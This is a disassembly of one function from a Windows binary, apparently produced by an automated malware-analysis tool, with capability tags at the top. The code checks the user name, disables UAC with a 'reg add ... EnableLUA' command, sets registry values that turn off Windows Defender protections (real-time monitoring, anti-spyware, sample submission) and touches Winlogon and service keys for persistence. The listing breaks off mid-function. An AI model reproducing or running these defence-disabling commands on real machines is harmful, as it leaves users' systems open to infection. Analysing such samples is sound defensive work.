Function at 0x140001de0
Capabilities:
Disable system features via registry on windows
Disable windows defender features via registry on windows
Execute command
Get session user name
Persist via windows service
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r13
push rbp
push r14
push r15
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov rax, qword [0x140009008]
xor rax, rsp
mov qword [rbp + 0x410], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [0x1400069a0]
movdqu xmmword [rbp + 0x20], xmm1
mov byte [rbp + 0x10], 0
mov dword [rbp + 0x30], 0x101
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x200]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x14000356e
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x38]
call fcn.1400011c0
mov rbx, rax
lea rax, [rbp + 0x10]
xor r14d, r14d
cmp rax, rbx
je 0x140001ed6
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140001ea7
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ea2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f08
call fcn.140003efc
movdqa xmm0, xmmword [0x1400069a0]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], r14b
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r14b
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140001f14
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f0f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov r10d, 0xe
mov qword [rbp], r10
mov ecx, 0xf
mov qword [rbp + 8], rcx
movsd xmm0, qword [str.VirtualMachine]
movsd qword [rbp - 0x10], xmm0
mov eax, dword [0x140006468]
mov dword [rbp - 8], eax
movzx eax, word [0x14000646c]
mov word [rbp - 4], ax
lea rdi, [rbp + 0x10]
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x28]
cmp r8, 0x10
cmovae rdi, rdx
lea rsi, [rbp + 0x10]
cmovae rsi, rdx
mov r9, qword [rbp + 0x20]
add rsi, r9
lea rbx, [rbp + 0x10]
cmp r8, 0x10
cmovae rbx, rdx
cmp rbx, rsi
je 0x140001fae
sub rdi, rbx
movzx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [rdi + rbx], al
inc rbx
cmp rbx, rsi
jne 0x140001f86
mov r8, qword [rbp + 0x28]
mov r9, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp + 8]
mov r10, qword [rbp]
lea rdi, [rbp - 0x10]
mov r11, qword [rbp - 0x10]
cmp rcx, 0x10
cmovae rdi, r11
lea rsi, [rbp - 0x10]
cmovae rsi, r11
add rsi, r10
lea rbx, [rbp - 0x10]
cmp rcx, 0x10
cmovae rbx, r11
cmp rbx, rsi
je 0x14000200c
sub rdi, rbx
nop dword [rax]
movzx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [rdi + rbx], al
inc rbx
cmp rbx, rsi
jne 0x140001fe0
mov r8, qword [rbp + 0x28]
mov r9, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp + 8]
mov r10, qword [rbp]
mov r11, qword [rbp - 0x10]
lea rax, [rbp - 0x10]
cmp rcx, 0x10
cmovae rax, r11
lea rcx, [rbp + 0x10]
cmp r8, 0x10
cmovae rcx, rdx
cmp r9, r10
jne 0x1400034e1
mov r8, r9
mov rdx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400034e1
lea rdx, str.Username_is_correct_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003a60
mov rcx, rax
lea rdx, [0x140003a20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000209f
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000209a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003560
call fcn.140003efc
mov ebx, r14d
mov qword [rbp - 0x28], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x28]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400020f0
mov dword [rbp - 0x20], 4
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp - 0x18]
lea edx, [r9 + 0x10]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp - 0x18]
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400020ff
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, ebx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140003a20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem___f__v__EnableLUA___t_REG_DWORD__d_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
mov ecx, 0x40
call fcn.140003df0
mov rdx, rax
mov qword [rbp + 0x58], rax
mov qword [rbp + 0x68], 0x3f
mov qword [rbp + 0x70], 0x3f
movaps xmm0, xmmword [str.HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows_Defender]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400065f0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140006600]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [0x140006610]
movsd qword [rax + 0x30], xmm1
mov ecx, dword [0x140006618]
mov dword [rax + 0x38], ecx
movzx eax, word [0x14000661c]
mov word [rdx + 0x3c], ax
movzx eax, byte [0x14000661e]
mov byte [rdx + 0x3e], al
mov byte [rdx + 0x3f], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov ecx, 0x60
call fcn.140003df0
mov r15, rax
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x88], 0x54
mov qword [rbp + 0x90], 0x5f
movaps xmm0, xmmword [str.HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140006630]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140006640]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140006650]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140006660]
movups xmmword [rax + 0x40], xmm0
mov eax, dword [0x140006670]
mov dword [r15 + 0x50], eax
mov byte [r15 + 0x54], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov ecx, 0x50
call fcn.140003df0
mov r13, rax
mov qword [rbp - 0x10], rax
mov qword [rbp], 0x46
mov qword [rbp + 8], 0x4f
movaps xmm0, xmmword [str.HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows_DefenderSpynet]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140006690]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400066a0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400066b0]
movups xmmword [rax + 0x30], xmm1
mov eax, dword [0x1400066c0]
mov dword [r13 + 0x40], eax
movzx eax, word [0x1400066c4]
mov word [r13 + 0x44], ax
mov byte [r13 + 0x46], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov ecx, 0x40
call fcn.140003df0
mov rdx, rax
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x48], 0x3e
mov qword [rbp + 0x50], 0x3f
movups xmm0, xmmword [str.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinDefend]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400066d8]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400066e8]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [0x1400066f8]
movsd qword [rax + 0x30], xmm1
mov ecx, dword [0x140006700]
mov dword [rax + 0x38], ecx
movzx eax, word [0x140006704]
mov word [rdx + 0x3c], ax
mov byte [rdx + 0x3e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
mov ecx, 0x50
call fcn.140003df0
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc8], 0x48
mov qword [rbp + 0xd0], 0x4f
movaps xmm0, xmmword [str.HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140006720]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140006730]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140006740]
movups xmmword [rax + 0x30], xmm1
movsd xmm0, qword [0x140006750]
movsd qword [rax + 0x40], xmm0
mov byte [rax + 0x48], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov ecx, 0x50
call fcn.140003df0
mov rcx, rax
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa8], 0x4f
mov qword [rbp + 0xb0], 0x4f
movaps xmm0, xmmword [str.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerEnvironment]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140006770]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140006780]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140006790]
movups xmmword [rax + 0x30], xmm1
movsd xmm0, qword [0x1400067a0]
movsd qword [rax + 0x40], xmm0
mov eax, dword [0x1400067a8]
mov dword [rcx + 0x48], eax
movzx eax, word [0x1400067ac]
mov word [rcx + 0x4c], ax
movzx eax, byte [0x1400067ae]
mov byte [rcx + 0x4e], al
mov byte [rcx + 0x4f], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 0xf
mov ecx, 0x20
call fcn.140003df0
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xf0], 0x12
mov qword [rbp + 0xf8], 0x1f
movups xmm0, xmmword [str.DisableAntiSpyware]
movups xmmword [rax], xmm0
movzx ecx, word [0x1400067c0]
mov word [rax + 0x10], cx
mov byte [rax + 0x12], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r14
mov qword [rbp + 0x118], 0xf
mov ecx, 0x20
call fcn.140003df0
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x110], 0x17
mov qword [rbp + 0x118], 0x1f
movups xmm0, xmmword [str.AllowFastServiceStartup]
movups xmmword [rax], xmm0
mov ecx, dword [0x1400067d8]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x1400067dc]
mov word [rax + 0x14], cx
movzx ecx, byte [0x1400067de]
mov byte [rax + 0x16], cl
mov byte [rax + 0x17], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r14
mov qword [rbp + 0x138], 0xf
mov ecx, 0x20
call fcn.140003df0
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x130], 0x10
mov qword [rbp + 0x138], 0x1f
movups xmm0, xmmword [str.ServiceKeepAlive]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r14
mov qword [rbp + 0x158], 0xf
mov ecx, 0x20
call fcn.140003df0
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x150], 0x15
mov qword [rbp + 0x158], 0x1f
movups xmm0, xmmword [str.DisableIOAVProtection]
movups xmmword [rax], xmm0
mov ecx, dword [0x140006808]
mov dword [rax + 0x10], ecx
movzx ecx, byte [0x14000680c]
mov byte [rax + 0x14], cl
mov byte [rax + 0x15], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r14
mov qword [rbp + 0x178], 0xf
mov ecx, 0x20
call fcn.140003df0
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x170], 0x19
mov qword [rbp + 0x178], 0x1f
movups xmm0, xmmword [str.DisableRealtimeMonitoring]
movups xmmword [rax], xmm0
movsd xmm1, qword [0x140006820]
movsd qword [rax + 0x10], xmm1
movzx ecx, byte [0x140006828]
mov byte [rax + 0x18], cl
mov byte [rax + 0x19], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], r14
mov qword [rbp + 0x198], 0xf
mov ecx, 0x20
call fcn.140003df0
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x190], 0x17
mov qword [rbp + 0x198], 0x1f
movups xmm0, xmmword [str.DisableBlockAtFirstSeen]
movups xmmword [rax], xmm0
mov ecx, dword [0x140006840]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x140006844]
mov word [rax + 0x14], cx
movzx ecx, byte [0x140006846]
mov byte [rax + 0x16], cl
mov byte [rax + 0x17], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r14
mov qword [rbp + 0x1b8], 0xf
mov ecx, 0x30
call fcn.140003df0
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1b0], 0x23
mov qword [rbp + 0x1b8], 0x2f
movups xmm0, xmmword [str.LocalSettingOverrideSpynetReporting]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140006858]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x140006868]
mov word [rax + 0x20], cx
movzx ecx, byte [0x14000686a]
mov byte [rax + 0x22], cl
mov byte [rax + 0x23], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], r14
mov qword [rbp + 0x1d8], 0xf
mov ecx, 0x20
call fcn.140003df0
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1d0], 0x14
mov qword [rbp + 0x1d8], 0x1f
movups xmm0, xmmword [str.SubmitSamplesConsent]
movups xmmword [rax], xmm0
mov ecx, dword [0x140006880]
mov dword [rax + 0x10], ecx
mov byte [rax + 0x14], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], 5
mov qword [rbp + 0x1f8], 0xf
mov eax, dword [str.Start]
mov dword [rbp + 0x1e0], eax
movzx eax, byte [0x14000688c]
mov byte [rbp + 0x1e4], al
lea rax, [rsp + 0x58]
mov qword [rbp - 0x28], rax
lea rax, [rsp + 0x78]
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x20], rax
lea rdx, [0x140006890]
lea rcx, [rsp + 0x58]
call fcn.1400036f0
mov rsi, rax
lea rdx, str.REG_DWORD
lea rcx, [rsp + 0x78]
call fcn.1400036f0
mov rdi, rax
lea rdx, [rbp + 0xe0]
lea rcx, [rbp - 0x68]
call fcn.140003810
mov rbx, rax
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x48]
call fcn.140003810
nop
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.1400014a0
cmp qword [rax + 0x18], 0x10
jb 0x1400027cb
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140002814
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000280f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000280f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x18], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0x30
lea rdx, str.REG_DWORD
lea rcx, [rbp - 0x48]
call fcn.1400036f0
mov rdi, rax
lea rdx, [rbp + 0x100]
lea rcx, [rbp - 0x68]
call fcn.140003810
mov rbx, rax
lea rdx, [rbp + 0x58]
lea rcx, [rsp + 0x78]
call fcn.140003810
nop
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400014a0
cmp qword [rax + 0x18], 0x10
jb 0x1400028a9
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400028f2
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x18], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0x30
lea rdx, str.REG_DWORD
lea rcx, [rbp - 0x48]
call fcn.1400036f0
mov rdi, rax
lea rdx, [rbp + 0x120]
lea rcx, [rbp - 0x68]
call fcn.140003810
mov rbx, rax
lea rdx, [rbp + 0x58]
lea rcx, [rsp + 0x78]
call fcn.140003810
nop
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400014a0
cmp qword [rax + 0x18], 0x10
jb 0x140002987
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400029d0
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov ecx, 0x60
call fcn.140003df0
mov rcx, rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x54
mov qword [rsp + 0x48], 0x5f
movups xmm0, xmmword [r15]
movups xmmword [rax], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [r15 + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [r15 + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [r15 + 0x40]
movups xmmword [rax + 0x40], xmm0
mov eax, dword [r15 + 0x50]
mov dword [rcx + 0x50], eax
movzx eax, byte [r15 + 0x54]
mov byte [rcx + 0x54], al
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140001ba0
cmp qword [rax + 0x18], 0x10
jb 0x140002a5d
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002aa6
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002aa1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002aa1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x18], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0x31
lea rdx, str.REG_DWORD
lea rcx, [rbp - 0x48]
call fcn.1400036f0
mov rdi, rax
lea rdx, [rbp + 0x140]
lea rcx, [rbp - 0x68]
call fcn.140003810
mov rbx, rax
lea rdx, [rbp + 0x78]
lea rcx, [rsp + 0x78]
call fcn.140003810
nop
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400014a0
cmp qword [rax + 0x18], 0x10
jb 0x140002b3b
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002b84
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b7f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x18], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0x31
lea rdx, str.REG_DWORD
lea rcx, [rbp - 0x48]
call fcn.1400036f0
mov rdi, rax
lea rdx, [rbp + 0x160]
lea rcx, [rbp - 0x68]
call fcn.140003810
mov rbx, rax
lea rdx, [rbp + 0x78]
lea rcx, [rsp + 0x78]
call fcn.140003810
nop
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400014a0
cmp qword [rax + 0x18], 0x10
jb 0x140002c19
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002c62
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov ecx, 0x50
call fcn.140003df0
mov rcx, rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x46
mov qword [rsp + 0x48], 0x4f
movups xmm0, xmmword [r13]
movups xmmword [rax], xmm0
movups xmm1, xmmword [r13 + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [r13 + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [r13 + 0x30]
movups xmmword [rax + 0x30], xmm1
mov eax, dword [r13 + 0x40]
mov dword [rcx + 0x40], eax
movzx eax, word [r13 + 0x44]
mov word [rcx + 0x44], ax
movzx eax, byte [r13 + 0x46]
mov byte [rcx + 0x46], al
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140001ba0
cmp qword [rax + 0x18], 0x10
jb 0x140002cf0
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002d39
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x18], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0x31
lea rdx, str.REG_DWORD
lea rcx, [rbp - 0x48]
call fcn.1400036f0
mov rdi, rax
lea rdx, [rbp + 0x180]
lea rcx, [rbp - 0x68]
call fcn.140003810
mov rbx, rax
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x78]
call fcn.140003810
nop
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400014a0
cmp qword [rax + 0x18], 0x10
jb 0x140002dce
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002e17
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x18], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0x30
lea rdx, str.REG_DWORD
lea rcx, [rbp - 0x48]
call fcn.1400036f0
mov rdi, rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp - 0x68]
call fcn.140003810
mov rbx, rax
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x78]
call fcn.140003810
nop
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400014a0
cmp qword [rax + 0x18], 0x10
jb 0x140002eac
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002ef5
inc rdx
